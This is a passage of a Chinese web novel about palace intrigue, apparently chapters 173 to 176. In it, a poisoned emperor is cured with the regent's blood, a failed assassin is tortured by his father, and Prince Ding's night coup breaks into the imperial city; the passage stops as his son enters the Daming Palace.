“摄政王,还没够啊。” 南琼霜三魂七魄飞走一半。 李玄白曲着腿散漫靠在殿柱上,笑得愈发颤抖,喉咙里咽着苦茶,声音仿佛哽咽似的: “跳出来,你赌输了。” 顾怀瑾已经步入了大殿,径直朝正中呆若木鸡疯狂回想的人走去,不由分说握住了她手腕: “她未选你,你也没赢啊。” 李玄白玩着小耳坠,有几分惬意: “少得意。两情相悦?真可笑。你若是在我的位子,就是同灭国仇人苟合!” 南琼霜骤然感觉腕上力道收紧了三分。 顾怀瑾身影如一座压抑枯败的荒崖。 李玄白扶着额笑,笑了半晌,吊儿郎当地换了条腿曲着,齐紫的大袖挥得如一阵风吹即散的烟: “滚吧,都滚吧,赶紧滚。” 顾怀瑾将她急急牵出了大明宫。 临走前,她最后回身看了他一眼。 灯火辉煌的大明宫,有万千盏烛,万千道影。但重重影子簇拥间,唯有一个寂寥孓然的人。 他还在笑,抱着肩膀。 不知怎么,她竟然觉得,他在哭似的。 ——他这种人,怎么,竟然会为女人难过? 她转过头,顾怀瑾闷着头往前疾行,玄袍翻涌如墨,她后知后觉地想明白。 顾怀瑾在屏风后,李玄白根本没想勉强她。 第174章 谁也没想到,刚要跨出大明宫的门槛,就撞上了火急火燎前来报信的吴顺。 吴顺急得一脑门子汗: “顾先生,您在这哪。您快回紫宸殿去吧!皇上在紫宸殿内,发了不知什么病,现下是五脏绞痛,在紫宸殿里打滚哪!” * 紫宸殿内已是一片狼藉。 甫一进去,已是一股秽臭气,满地黄金万两。南琼霜是喜洁成癖的,一下子几乎厥过去,强捂着鼻子进去,惊见方才还好好的人,吱哇乱叫着在地上打挺,脸上半点仪容也无了,一张脸搅成一团,嘶着嗓子嚎叫。 常忠不敢回府,用尽了借口赖着没走,见嘉庆帝如此,已是形散胆裂,冷汗满头。 满殿太医本围着嘉庆帝慌作一团,纷乱地谈论病情,见了两人进来,登时悄无声息。 殿内唯余嘉庆帝难以称作人声的哭嚎。 人人望着顾怀瑾,人人噤若寒蝉。 嘉庆帝涕泪满面,吐泻交作,一面在呕吐物中打滚,一面哭嚎: “痛啊,朕痛啊!救命啊——朕痛啊!要死了,朕要死了——” “女真人——!朕杀了你!狗屁国师!朕说了不准女真人留!不准女真人留啊!庸谬误国!纵敌背朕!姓顾的,绞死他!穿肠肚烂之痛啊——走狗!害朕至此!痛啊!朕痛啊!” “把姓顾的给朕召来!召来!!朕要亲自绞,绞死——!狗屁先生!通敌之辈!引狼入室!恃权弄术!朕的命,他拿去给定王尽忠!!” 满殿御医皆紧惧垂着头,不敢发一言。 王茂行站在嘉庆帝身旁,不敢靠近,亦不敢多言,唯流着泪连连哀叹: “皇上,您怎么也到床上去,地上凉……” 嘉庆帝根本听不进半个字,眼睛通红着发狂,腌臜秽语不断,满殿尽是他指天指地的诅咒,幽幽回荡。 顾怀瑾有两刻钟,一个字也没有说。 这情景太悚人太可怖,南琼霜实是看不下去了,强忍着恶心蹲下身去扶他: “皇上,您先起来,先去床上……您这般……” 嘉庆帝惨嚎如杀猪: “滚!!!” 南琼霜讪讪收了手,他那些自然造物没沾染到她身上,她倒还有些庆幸。 不过,这疯子这幅样子,难道今夜就要命绝于此?收网的令还没下来,他若是没死在她手上,这第五个差事,又是功亏一篑! 她登时流了两颗真情实感的泪: “太医!太医!想法子呀!” 又去扯顾怀瑾的袖子: “先生不是有大能?怎么这时候倒成了个哑巴!救皇上啊!” 忽然,“哇”的一声。 南琼霜颤巍巍地低下头看去。 嘉庆帝一口鲜红的血,哗的一下,尽数呕在她裙摆。 带着他的体温,腥的,热腾腾。 她脑子里嗡的一声,差点原地咽气。 “救皇上!快救皇上啊!先生!御医!”她连连撤步,几乎快和那疯子一样歇斯底里,“快救皇上,本宫……本宫见不得血……”软着身子往后一倒。 顷刻被一双手揽着背扶住。 李玄白跨过门槛,依旧披着他那一身丝绸寝衣,有两分脆弱疲态,那盛气凌人的高马尾却又束在脑后,他随意往殿内扫了一圈: “什么事?” 挤做一堆的太医怯怯彼此对看了一阵,最后推出一个胡须最长、褶皱纵横的,行礼道: “回摄政王,丑时初,圣躬骤感不适,腹如刀绞,痛彻五内。臣等夤夜会诊,然而皇上症候凶险,臣等莫衷一是,实难立断。” 李玄白:“子时不是还好好的?” 那太医只是哆嗦着长髯不答。 李玄白朝顾怀瑾斜过一眼,吩咐:“赶紧救,有什么招,用。” 顾怀瑾:“把陛下抬上床,打开齿关。” “齿关?” 无人明白,却无人敢不从,众人合力将咬牙切齿蹬腿抽脚的嘉庆帝抬上龙床,七手八脚地将他按在床上。 顾怀瑾打开了药箱,不慌不忙地理银针。 那一口血呕出来,嘉庆帝身子渐渐软了,两条腿逐渐也蹬得缓了,仅是从地上挪至床上的功夫,人已经全然瘫如一条墨鱼,几乎要从床上淌下来。 眼见着面色渐黑,唇渐转乌,有出气没进气,人已经只剩下一口气。 南琼霜在一旁看得唏嘘胆寒。 嘉庆帝平日是有疯症,但身子骨犹算健朗,不曾有什么急病。如今却病发得如此急,不知是中了什么猛毒,眼瞧着人就要不成了。 假如嘉庆帝真就今夜暴毙,洛京会如何,齐宋会如何? 她扭过头,望出窗外。 雕花窗棂外,漆夜如幕,一轮圆月高挂天边,皎洁静好,置身事外。 太静了。 万籁俱寂之中,命运一意孤行地向前 ,奋挽不回。 昏暗烛火下,她手指尖微微发凉,捏紧了拳,惶迫地望着龙床上,乌唇微微翕合的人。 你可别死啊。 你若死了,何止是我的差事办不成了。 从顾怀瑾自戕开始,洛京便震动不断。虽然三方尚未在明面上撕破脸,桌子底下却不知已经交锋了多少回,摄政王、定王,现在又是嘉庆帝。 这些日子,常李双方一定早已各自准备,只是或许尚未万全,暂无人挑起事端。 但是,洛京已如初春干燥枯脆的山林。 一点火星,烈焰焚山。 嘉庆帝若死。 必是那一点火星。 嘉庆帝人事不省,上下眼皮乌黑一圈,面色槁黄,汗湿得直直从面上淌下去,在他脸周洇出一圈湿痕。 南琼霜忽然想起,顾怀瑾替他卜的卦。 他大限将至。 她心内骤然不安,焦虑仓皇得几乎难以坐下,腾地一下站起身,闷着头踱了好几圈。 今夜?今夜?难道是今夜? 众人围在龙床前,围得水泄不通。因着嘉庆帝病重,怕晃了嘉庆帝的眼,殿内只点了两根明烛,殿中唯有他床前那一圈亮着,其余尽在黑暗之中。 她一步踏入幽幽阴影里。 黑暗叫她心安。 却见深潭般的黑暗处,有一个悄无声息的轮廓,隐于角落。 常忠。 “确实如顾某所想。”顾怀瑾在众人簇拥间下了结论,“齿关发蓝,是传脉蛊。” “吐泻交作,五内剧痛,面色青黑,此皆为砒霜中毒之状。但若说是砒霜,毒发未免太久。与此症状相类的,无非传脉蛊而已。陛下齿关发蓝,更是铁证。” 王让汗淋淋地凑在一旁,并着袖子作揖:“可是,皇上每日的吃食,都要以三双辟毒筷验毒多回,皇上多心,每回都叫奴才提前试毒,这……” “我都说了是传脉蛊。”他声音不耐,“你同陛下竟是血亲?” 王让瑟瑟躬身:“不敢,不敢。” “未必是吃食,许是那箭头上擦着蛊虫粉末,遂顺着血液侵进了皇上龙体。” “传脉蛊,血亲方可下蛊,血亲方可解蛊。当年谢贵妃暴毙身亡,便是身中此蛊。顾某重查谢贵妃一案时,曾向当年的仵作仔细问过此种蛊虫,说是需要母系血亲以血饲喂,豢养七七四十九天,方可养成。” “一旦中蛊,心智便受下蛊人操纵,形同傀儡木偶,哭笑无端。”顾怀瑾垂首望着床上人,“皇上似乎还未到这一步。” 毛琳妍抬起一张哭花了的脸孔:“既然如此,如何解蛊?母系血亲?” “比起如何解蛊。”顾怀瑾朝大殿角落中呆坐着的常忠望去,“常忠。” 殿内众人一齐愣怔,方明白他的意思,一同朝常忠看去。 母系血亲所下的蛊。常忠的手笔,毋庸置疑。 常忠望着烛火下的一圈人,人人面孔被蜡烛映得昏黄幽暗,齐齐望着他的时候,全都面无表情,仿佛一面面平板的铜镜——照妖镜,照得他遁地无门。 他两股战战。 李玄白手一挥:“封锁大殿,看紧这厮,绝不准此人出宫。” 若叫常达得知摄政王手握了他意图刺杀的证据,说不准,宫变就在今夜! 王茂行:“可是皇上中的蛊如何是好?虽说是母系血亲,是否有远近之分?” 顾怀瑾:“越近越好。传脉蛊以母系血亲的血为解,算起来,太妃的血是最好。常忠的血——” 他偏头朝常忠看了一眼,常忠已如一头被押到屠刀底下惨嚎失禁的猪一般不知所谓,他继续道: “应是可以用,但毕竟隔了几层。以顾某之见,若摄政王亦不想常家军今夜一脚踹破皇极门,不如以摄政王的名义对定王下令,叫他们交出太妃。” “交出太妃?”李玄白吊儿郎当地揣着袖子一哂,“常达知道中了蛊的是皇上,知道我们知道是他派的人,知道太妃可解皇上的蛊,焉会放人?你小子做梦呢。” “那么,以摄政王之见,应该如何。” 大殿中一阵难捱的沉默。 南琼霜却隐约觉出一丝不对。 常达派人刺杀,本是要谋害李玄白,常达怎会用这种蛊来对付李玄白? 却听李玄白懒洋洋嗤笑一声: “以我之见,太麻烦了。” 他走去窗下小桌旁,信手拈起桌上削果皮的小匕首,行云流水地在指腹一划。 “用我的吧。” 满殿众人,茫然震动,不知所措。 李玄白在四面八方骇如山崩的目光里,笑得满不在乎: “怎么?太妃是本王生身母亲。” 第175章 紫宸殿众人何止静默了一盏茶。 李玄白自己倒是毫不在意,这许多年来,自己母亲待他如何,莫非他不知道吗。 人人唏嘘怜悯,此起彼伏的叹息声响在他耳畔,他只觉得好笑。 他如有所想地朝南琼霜看去。 她是唯一一个不惊异,不骇惑,面色如常,平静如水的人。 没多说任何,她替他拿了个小茶盏:“接血。” 李玄白笑得安慰而释然。 是了,这就对了,他都未可怜自己,其余人矫情个什么劲儿啊。一帮奴才,轮到他们感慨了? 又非何等大事。 他笑吟吟地抓过那茶盏,与属意的人心有灵犀,他很满意,将茶盏搁到小几上,给她递了刀: “你替我划。” 南琼霜并不明白这是何意,仿佛她划他一刀,他反而十分受用。 “我划?”她笑弧勾得意味深长,幽幽摇头,“表兄,我怕血。” 这幅神态,做作又险恶,是她初上天山时特有的妖异,仿佛一个摇着响尾的蛇妖。 李玄白嗤笑出声。 顾怀瑾冷不丁偏首望来。 他总觉得,她同这轻狂小子在一处,就变了副模样。 这小子会引出她某些不常对人显露的个性。 甚至在他面前,都不显露。 他呼吸不自觉滞重几分——现下不是儿女情长的时候罢,方才在大明宫里,她未选这小子,他是听得真切的。可是—— 顾怀瑾:“摄政王。” 李玄白闻言偏首,拿着那小匕首的刀柄一下下在几上磕着: “怎么,我同表妹玩笑,也有你说话的地方?” “皇上耽误不得,摄政王究竟还要玩笑到几时。” 李玄白不应,悠游自在地只是笑着睨他。 当着众人,他们两个一向爱演什么毫无瓜葛。演啊。 倒是南琼霜催了:“快去吧,表兄。这种事情我做不得……你别吓我。” 李玄白望着她咬唇扮柔弱,又是一番兴致盎然,开怀笑了一阵,摇着头坐去了床边,撸起袖摆,虽是递了胳膊在顾怀瑾面前,犹自盯着她说笑: “你得跟我说好。若是国师先生给本王放得血尽身亡,”他手指朝她鼻尖一点,“你给本王陪葬。” 此话一出,殿中众人更是惊骇哑然。 早就听闻摄政王与珍妃娘娘暗通款曲,他们还当是流言,难道是真的? 忽地一声:“先生,先生,您轻些!” 跪在床边的老太医十分骇然。 顾怀瑾雪白脸孔溅了血花,艳丽狰狞:“对不住,手滑。” 南琼霜是真怕李玄白今日流干了血,他落到顾怀瑾手里,那还能好?腾地一下站起身,“先生!” 顾怀瑾手上动作滞了一瞬,连头都没抬。 李玄白龇牙咧嘴,狠厉笑着:“你想杀了本王?” 顾怀瑾简短道:“不敢。”刀尖复又按下寸许。 “先生!”南琼霜真有些慌惧。 顾怀瑾终于抬头回望她,如竹如玉的脸孔苍白如薄瓷,不知何时,鼻尖上都是晶莹的冷汗,吊着胆子等她下言,一呼一吸,轻急慎微。 仿佛她一个字,就能是一把铡刀。 她心里顿悔,抿住了唇,不说了。 “说啊。”他有意自虐,反而逼她,“娘娘怎么不说了。” 南琼霜瞧出他冷嘲中有几分狠意——每回他吃醋,兜兜转转地就想到死。 她看不见他黑绸下的双眼,但被他盯视得快窒息了。 两人纠缠对视,灼灼不休,彼此无言。 众人面面相觑。 李玄白最爱看两人因他起争执,好整以暇地支着下巴观戏,自己的手腕却是毫不上心。 床畔的老太医不知这三人究竟有何瓜葛,即便有,也不敢深想,倒是眼见着血洇湿一片,颤颤巍巍地冒出个脑袋,拱手: “先生,够了,够了啊!为皇上解蛊而已,何须取如此之多!” 顾怀瑾终于回过神来,将刀刃从李玄白皮肉间拔出来,“对不住。”一面点了嘉庆帝的穴位,嘉庆帝下巴顿开,他把着李玄白的手腕,拧毛巾似的往下挤血。 李玄白真是吃痛了:“你小子今天疯了?” 顾怀瑾一言不发,手犹自不松。 鲜红的血如一根剔透的小柱,斜扭着插进嘉庆帝口里,染得他两排牙齿红石榴一般。 众太医汗流浃背,心惊肉跳。 片刻,李玄白终于恼了:“行了,没完了!”霍地抽回手。 “虽然此蛊以血亲的血为解,但皇上也未必即刻醒转。”顾怀瑾撒开了手,掏出帕子,细细擦拭每一寸碰过他的皮肤,“或许今夜醒,或许明日醒,说不准。京中频乱,局势不稳,兹事体大,还望各位切勿走漏消息。” 李玄白笑吟吟地没说话。 两团烛火孤零零地跳。各人影子投在高大四壁上,映得殿内森影幢幢。 一阵压抑寂静后,诸人连连道是。 谁都明白,皇上昏迷,顾先生不准 走漏了消息,是仍欲维持三方平衡,将安静日子留得再久些。 可是,摄政王在此。 安静日子是再不会有了。 摄政王必定借此机会清除定王一派,一山二虎,必然相食。 无非时间早晚而已。 太医们拥着李玄白跪围了一地,将他手腕仔细敷过了药,又以纱布反复缠了两三圈,方才吁着气磕头:“摄政王,处理已毕,伤无大碍,还望摄政王静心安养。” 李玄白转转手腕,回身望了嘉庆帝一眼,嘉庆帝仍呼吸微微、脸色青黑,他站起身来,“今夜,你们几个老头子在此处轮番值守,不得稍离。若有任何异动,速禀我大明宫。” 众太医恭顺应下:“是。” 又对顾怀瑾道: “常忠这厮,打入诏狱,先生亲自审问吧。” 顾怀瑾站起身理了理衣摆: “这般重要之人,顾某还以为摄政王要亲自处置。想来是摄政王有更要紧之事,那便交给顾某。” 李玄白不理睬他言外之意,不可置否,只道,“夜已深了。”拉着长声打了个哈欠,“本王回去歇息了。” 话毕,两手抱着头,大摇大摆地走出了紫宸殿。 毛琳妍亦被顾怀瑾清了出去。 殿中顿时唯余嘉庆帝、王让和瑟瑟发抖的常忠。 南琼霜走至顾怀瑾身侧:“先生,本宫有事欲与先生一谈,不知先生可否借一步说话。” 待两人说完话,自殿外折返回来。 殿中唯余一个嘉庆帝,一个王让。 第176章 那应是很多年前的事了,可是在他梦里,还是一样清晰。 李景泰很小,很胖,像个肉墩子。夹着双下巴朝他吐口水,管他叫妨娘种。 于是他急火攻心,歇斯底里地上去揪住他领子,不由分说地将人按倒在地。 挥拳,打,一下一下,拳拳到肉。 那小子是真肥啊,揍他时每一拳都扎实发闷,一拳下去,那小子便嚎得如头被破了腹的肥猪。他打,拳打后又脚踢,直到双脚忽地腾了空,骤然被领子勒得要干呕,来人拎起他又将他顿甩在地: “臭小子,敢对小世子不敬!” 未待他从地上爬起身来,人遽然又离了地,摔飞出去。 常达一脚正蹬在他屁股上。 他胯骨正正敲在地上,酸绝痛绝,他眼睛冒花,龇牙咧嘴地动不了。 那边李景泰嚎叫顿止,抽抽噎噎地去抱来人大腿,常达弯下膝盖和颜悦色跟他说,“小世子,小王爷无法无天,伯父代你教训他。” 李景泰咧着嘴拍着常达的膝盖嚎哭,“他打我!他打我!” “我瞧见了。小世子还想教训他?来!”常达牵着他走至地上动弹不得的孩子身边,一脚蹬得他滚了半圈,“来!教训他!” 李景泰以踹得他打滚为乐。 光景骤然幻变,李景泰被国公府来人领走了,走时国公夫人哭花了脸,那肥圆小子眼角一点淤紫,她捻着帕子在那点紫上擦拭个没完,末了,连他爹爹赔笑相送,都未给个笑脸。 他爹爹那时仍居东宫,乃是一朝储君。 爹爹唉声叹气地和满脸浓毛的常达说:“玄白固然顽劣,然尚年幼,舅舅何必责他?” 常达:“国公为您之事,勠力辅弼,鼎力相助!您真要在此关头,为一幼子,与国公生了嫌隙?何况,那小子生就个克母的八字!” “便是八字克母,也未必要在小世子面前同我儿动拳脚。” 常达倏然瞪了眼睛:“他八字克我们褚秀,便是克我!” 他母亲闲闲理着瓶中花枝,眼都没抬:“踹两下又如何,哥哥就是这么个暴脾气。何况,这崽子脾气太差,焉能成事。不管教管教,别先把我克死了,再克死我的晔儿。” 他爹爹于是不说了。 即便常褚秀后来因为这事禁足了他半月,也再没有开过口。 他在自己房中老老实实抄了半个月的《论语》。被放出来,又上街去,又撞见了死对头。 冤家路窄。 宝马雕车堵得朱雀街水泄不通,侍从全瑟缩着肩膀侍立在后,李景泰手里执一根皮鞭,浑然不顾四面人流,只顾扬鞭。 他身前跪着一个年龄相近的男童。 那人他隐约记得。李景泰的武陪练。 “叫你顶嘴!叫你顶嘴!叫你顶嘴!” 鞭子抽起的风,锋利割人。 一个侍从怯怯地劝:“少爷,您不能当街打人啊,再怎么也得回府再打,外头这么些人……” 另一人按住他胳膊,默然摆了摆手,“前些日子少爷同小皇孙打了一架,老爷心疼的啊,这两天,连蛐蛐都准小少爷糟蹋。横竖老爷不会怪罪,由他吧。” 另一人哈着腰鼓掌:“打得妙!小世子有武才!” 他脾性悍烈,那时却并未发怒,只是愕然。 望着李景泰,仿佛瘦骨嶙峋的野猫,望着颈环金铃的乌云盖雪。 错愕、讶异,艳羡、嫉恨。 但只有一点点的委屈和一点点的心酸。 因为早已习惯,不再自怜。 他去寻了李景泰的武陪练。 宝马香车扬长而去,那男童跪在地上,背上衣裳破成碎条,脸颊上一道道血痕,往下淌血。 他朝那狼狈男童伸出手: “我亦同那蠢猪有仇。” “敢不敢同我一起,寻个机会,叫那小子吃不了兜着走?” 他身后的随从附在他耳边劝:“小王爷,这小犊子贱得很呢,仔细脏了您衣裳。” 他不理睬,犹自伸着手。 那男童遍体鳞伤,一双圆眼懵懂地看他。 他本没抱多少希望。武陪练,尽是出自贫寒人家,谁敢跟这京中霸王较量。 谁知那男孩吸了吸鼻子,眉毛骤然压眼,现出狠相,递出手来: “自然。由您差遣。” 忽地又是吴顺的声音。 他从梦中悠悠醒转,一翻身,便见吴顺青白着一张脸,扒开了他的床帐: “摄政王,摄政王,您醒醒!” “皇极门守卫来禀,说是定王携了千余人,冲破皇极门,如今已经杀进皇城啦!” 李玄白只仓惶呼吸了一瞬,冰得咽喉发寒,旋身下榻,握紧了自己佩剑。 那剑鞘,通体无饰,素朴无华。 * 两个时辰前,紫宸殿外。 “娘娘不是一向瞧不上顾某,又欲与顾某谈什么?” 外头月光凄寒,映得殿外的汉白玉石栏泛着森青,顾怀 瑾抱着肩膀,疏离嫌厌地往后退开半步,不欲离她太近。 南琼霜似是往雕花窗子内望了一眼,见他这副厌恶样子,也是冷笑,“先生不必烦恼,德音不过有事相商,说完即刻就走。” 顾怀瑾抬抬手,示意请便。 她开门见山:“表兄的人来了消息,说是定王已经命常平去山海关外调兵,明日便要攻入京城!” 顾怀瑾:“不足为信。” “先生何以如此笃定?” “定王在关内便有福余三卫,府内又有常家军。攻破皇极门,可比攻破山海关容易许多。” “即便这消息是假,可定王若真欲打进宫来,可如何是好!宫外有常达常平,宫中有常忠……先生莫非要以常忠为质?” “人质?”顾怀瑾嗤笑出声,垂头理理袖摆,“常忠是废子了,挟他也令不了定王。” “常少将军在军中历练多年!听闻他是自小在行伍中长大的,常家军上下除了定王,唯独服他两分。如何会说是废子,就成了废子!” “娘娘当真想不通吗?顾某还当娘娘一片玲珑心肝呢。”四下无人,顾怀瑾自然而然地拎过了她的手,缠绵在掌中盘揉,“常忠欲刺摄政王未果,反而伤及皇上,甚至还叫我们抓了刺客,扣押在宫中。定王残暴酷虐,此等大错,焉会容忍?” “可是,先生闹自杀那会儿,定王还是派的常忠去关外。真会错一次,便失了定王之心?” 顾怀瑾捋着袖口笑道,“彼时,定王还当自己,唯有一个儿子中用呢。” 南琼霜话音止了片刻。 “先生是说,因着常平显露了头角,常忠再不会得定王重用了?” “常达常忠父子俩,娘娘不知道的事还多着呢。常达晓得他这个儿子有经略之才,怕日后谋反得手,常忠觊觎他的皇位,一早将事情做绝了。皇上赏给定王的十数美人,一个也不曾分给他;自己天涯海角地搜罗了些长生药,也不肯给他这儿子分半口。” “前些日子,定王遇刺受伤,常忠约莫是担忧消息传出去,山海关外的大军群龙无首,自己跑去了关外欲掌兵。不想,却被定王斥得狗血淋头,疑心他觊觎自己手中的兵。在这节骨眼上,偏偏又行刺失手。定王怎可能容他?” “何况,他又并非无可用之人——常平年纪尚轻,人却聪明。日后,只怕定王真成了事,太子之位,也轮不到他。” “那么,常忠此人,先生究竟想如何处置?” “处置?”顾怀瑾轻笑了一声,柔柔捏着她纤细的五指,“有何需要处置,杀了便是。他于定王无用了,废子一个。除非他敢窃了他爹爹的兵符,反了他爹爹,否则,顾某实在瞧不出此人还能翻起什么浪。” “窃走兵符,反了定王?”南琼霜似是很惊愕,“定王多疑暴虐,常忠岂有胆量?” “有没有胆量行这一步,顾某就不知道了。不过常达负伤,常平在其父床前尽孝,无人顾得上常忠。行刺失败的消息又被顾某封锁了,也许还没有传回定王府内。若要行事,今夜便是上上良机。” “常忠若反了定王,先生又如何?” 顾怀瑾沉默良久。 半晌,他道: “以我之见,常忠较定王更有大才。他若真反了其父,便棘手了。” “既如此,速速斩草除根罢。” 待两人谈完,回了紫宸殿内。 殿中唯余昏迷不醒的嘉庆帝,和瑟瑟发抖的王让。 常忠已无影无踪。 一个时辰后,定王府内。 凄厉的哀嚎响彻深夜,惊起一树寒鸦。 公孙红端着一碗八宝鱼翅羹走至刑室门口,未等进去,已经腥臭味扑鼻。门口的侍卫横戈在前:“曲姑娘,大人有令,不准任何人擅入。” “我来给大人送鱼翅羹。” “大人有令……” “大人声嘶力竭地审了他快一个时辰了,吼得阖府都听得见,不得给大人送些吃食补补?”公孙红柳眉一竖,“不认得我是谁?!滚开!” 侍卫无奈收起长枪,竖在身侧,让开了门。 常达手里抓着一卷带倒刺的皮鞭,靠着矮桌边缘,气喘吁吁地掐着茶盏喝茶。 见了来人,眼也未抬,喝着喝着竟又暴怒,劈手将茶盏一掼在地,满地碎片炸溅: “狗逼崽子!胆敢反你老子!睁开你那俩瞎窟窿瞧瞧!你老子我马踏关山的时候,你小子连尿都不会撒呢!如今倒敢动老子的兵符?!” 常忠气息奄奄地被吊在天花板下,双手缚着,一只眼睛已经紫肿如球,鼻孔底下两条干涸血痕,口微张着喘气,牙已经豁去一颗。 常达又一鞭劈面怒抽,打得他几乎被铁链抡出去。 “胆敢动你老子的兵符!竟敢动你老子的兵符!营里三千铁骑,个个都是老子亲手带出来的,焉会听你竖子之命!操蛋东西!” “尿□□的怂货,也配学人谋反!说!”啪地又是一鞭,正正抽在他鼻梁上,“哪个挨千刀的撺掇你反我?!” 常忠动了动口:“没……” 劈头又是一鞭,常达吼得刑室顶都快掀开,“无人撺掇,我不信你个竖子有胆子反我!!” “我说,我说,爹,我说……”常忠胸脯微弱地起伏,“是在……是在宫里听见了国师和珍妃的谈话……” “国师和珍妃?” 常忠遂将紫宸殿内所听得的悉数告知。 公孙红屏着息听了半晌,将那碗鱼翅羹奉到常达面前,一勺一勺舀到他嘴边: “大人,珍妃背后便是大明宫……是否是大明宫的意思?” 常达一口口咽下: “你是说,大明宫参与了此事,意图引诱这逆子反我?” “谁知道到底参没参与呢。”公孙红垂着眸舀鱼翅羹,又放在唇边吹凉,递到常达嘴边,“珍妃一向与大明宫通气,她说话,应当作大明宫那位说话来听。勿论她本意如何,到底是撺掇少将军走上了歧路。恰恰在这节骨眼上,难道还真是巧合?” “大明宫竟敢离间我们父子。”常达一怒,便爱捏拳头,此时拳头和牙关一齐咯咯作响,“狗娘养的!他幼时就该在尿桶里把他溺死!我……” 话音未落,门又被敲了两下。 来人见了常达,即刻垂首行礼。 常达手一挥,连公孙红都不得不退出门外。 来人附耳道:“大人,金戈侍卫张度来报,说大明宫已获悉您意图刺杀摄政王未遂,伤及皇上,已有确凿证据在手。” 常达大叫一声,连热腾腾的鱼翅羹都一把挥落在地。 来人又道:“张度又报,您所欲之事,摄政王已得了消息。”所谓所欲之事,自然是意图发动宫变——“摄政王已派人前往京畿调兵,消息可信,大军明早便至洛京城墙下。” 常达已经气喘如牛。 那人观他脸色,不敢久留,禀报后便缩着肩膀欲退。 门忽然又被叩了两下,又进来一人行礼。前人退下将门锁紧,常达怒目瞪视着前方,渐渐连面皮都涨红了,来人垂着脑袋抱拳: “大人,晟贵妃传来消息,说摄政王夜召将领入大明宫密谈,此事存疑,思及报给大人为佳,遂报。” “又报,皇上病危。” 常达紧攥着佩刀柄,粗喘,不说话。 来人见常达一言不发,可是整个人都散发着一股血腥煞气,不敢多言,刚欲行完礼退下,便听常达简短道: “到时候了。” “到时候了。” “再不动手,吾辈皆为俎上之肉耳!” 常家军早已枕戈待旦多日,今日,终于到了披甲上阵之时。 夜色凄迷,已近寅时,常家军和福余三卫共一千人,摸着黑贴近了紫禁城宣武门。 皇城门红漆黄钉在黑暗里辨不清色彩。 千余人齐齐屏息,连门内守卫的咳嗽哈欠声都清晰可闻。 夜色里,徐卫立在常平身侧,学了三声布谷鸟叫。 片刻。 理应大开的宣武门,岿然不动。 常达盯视着门楼上隐约的人影,目眦欲裂。 他朝徐卫又 斜了一眼。 徐卫两手拢成小棚,罩在嘴巴两侧,又学了三声鸟叫。 玄武门犹自静默矗立,纹丝不动。 千余人紧握着佩刀刀柄,不敢眨眼,默然望着最前面的高头大马。 常达捏得指骨咯吱作响,刚再欲对徐卫下令,一只手覆上了他肩膀。 常平附耳:“爹爹,守卫倒戈,勿在此久留为佳!” 常达切齿道:“临阵反水!” “已经如此,还能怎样!另寻他路才是。” 常达低低道:“你有何想法?” “以我之见,宣武门守卫知晓今夜之事,必会速禀大明宫!此处不可久留!但皇城又岂仅有这一扇门?宣武门不远处,便是皇极门。” 常达:“皇极门乃是皇城主门,守卫最多!又无内应,如何强闯!” “毋需内应,索性叫门。”常平利索调转了马头,“父亲快来!” 趁着夜色漆黑,满城宵禁,一行人一路避人耳目,撞见夜巡的官兵即刻便杀,无声无息地摸去了皇极门旁。 皇极门紧闭如蚌壳,严丝合缝。 此时一阵风过,系在钩月上的一阵绵云随之流去了,月色渐渐显露出来,照得底下紧惧亢奋的军士各个面色惨白,满头大汗。 今夜常达调兵出发,非是用的宫变谋反的名号,而是以奉密诏、擒小人、清君侧之名。 虽然如此,定王意图谋反的流言早已甚嚣尘上。夜入皇城,所为何事,诸人大约也猜到三分。 才刚出师没有半刻,已经守卫倒戈、云去月出,莫非此事注定不成? 若是不成,他们这些人,诛九族、连亲眷、死无葬身之地! 却听常平高声对门内守卫道: “奉摄政王密诏,入宫捉贼!开门!” 守卫隔着门高呼:“来者何人?” 常平:“摄政王麾下将领孙信、刘振,奉命入宫捉贼!” 守卫:“摄政王麾下?” 常平:“正是!摄政王密召亲军入宫擒贼,此事耽误不得,还不快快开门!若是耽搁了摄政王的大事,你们有几个脑袋!” “小的并未收到摄政王的诏令,还请您回吧。” “摄政王密、诏!尔等算何等人物,难道密诏竟会下到你们头上!”常平梗着脖子拔刀出鞘,刀尖往上高指,“皇上病危,亲军得令!” “皇上病危?!”守卫又惊又慌,面面相觑。 摄政王下了令封锁消息,又是不久前发生之事,这些守皇城门的守卫尚未得到消息。 “连此等大事都不知,摄政王密诏又如何得知!开门!亲军入宫擒贼,尔等敢不开门,难道要摄政王圣驾亲临,赏你们面子吗?!” 守卫气势已经低了下去:“小的不敢从命……” 常平声嘶:“皇上在宫中遇刺!” 守卫更是齐齐一惊,冷汗满身:“皇上宫中遇刺?!” “摄政王下令封锁了消息,尔等如何晓得!再不擒贼,眼下伤重的是皇上,下一个便是摄政王!天子崩,国无君,礼崩乐坏,朝纲废弛,此种责任,你们谁担得起!” 门内渐渐无人敢作声。 常平骤然驭马前行两步,到得门前,堪堪勒马,那马遽然抬起前蹄,轰地一声猛踹在红门之上。 “若非得摄政王密诏,京畿亲军,如何入京!” 片刻,门内响起一连串钥匙相击的叮铃声。 钥匙入锁孔,吱呀响了两回,咔一声,锁开了。 守卫冷汗湿透脊背——若是摄政王亲军,人人都知亲军在京畿,并非在城内。若无诏令,城关的守将怎么敢放这些军士入城? 山海关守将既容他们进城,他们不过一些小喽啰,焉敢拦截。 皇极门终于大开,露出里面平坦宽阔的汉白石御道。 这一条路,常达已入宫见过多次,没有一回,是骑着高头大马,正大光明地居中行过。 夜色中的紫禁城,肃穆黯淡,压抑森森。 常达拔刀出鞘,马蹄踏着笔直平白的御道,白花花的剑刃直指尽头的乾和殿。 “今夜,事必成!” 转过身对随在身后的常平道: “你我兵分两路!你去大明宫擒了那狂妄崽子,我去紫宸殿,直捣龙穴!天明之前,必取摄政王首级,活捉李晔!” 常平到得大明宫外时,殿中烛火又起了,盈盈满墙。雕花窗子被映得橙黄融融,殿内又是灯火通明。 他回身以手示意部下噤声,屏息稳住了马头,朝大明宫无声逼近。 大明宫竟是无人守卫。 金戈侍卫不知去向,殿前愈发空旷一片,夜幕沉沉,屋顶的琉璃金瓦泛着夜色的青。 太静了,静得可怕。 常平不自觉吞咽了一下。 事已至此,已无退路,这条路是一旦走上就无法回头的。 常平以手势示意所有人下马,众人按着腰间佩剑,蹑手蹑脚,潜至大明宫门口。 殿门甚至都未紧锁,玛瑙珠帘在夜风中轻轻地晃。 常平小心翼翼地拨开珠帘。 珠子一阵噼啪的响。 身后女真人和常家军见常平拨开珠帘探了个头进去,无不小心紧随其后,连甲胄磕碰声都轻微。 一进去。 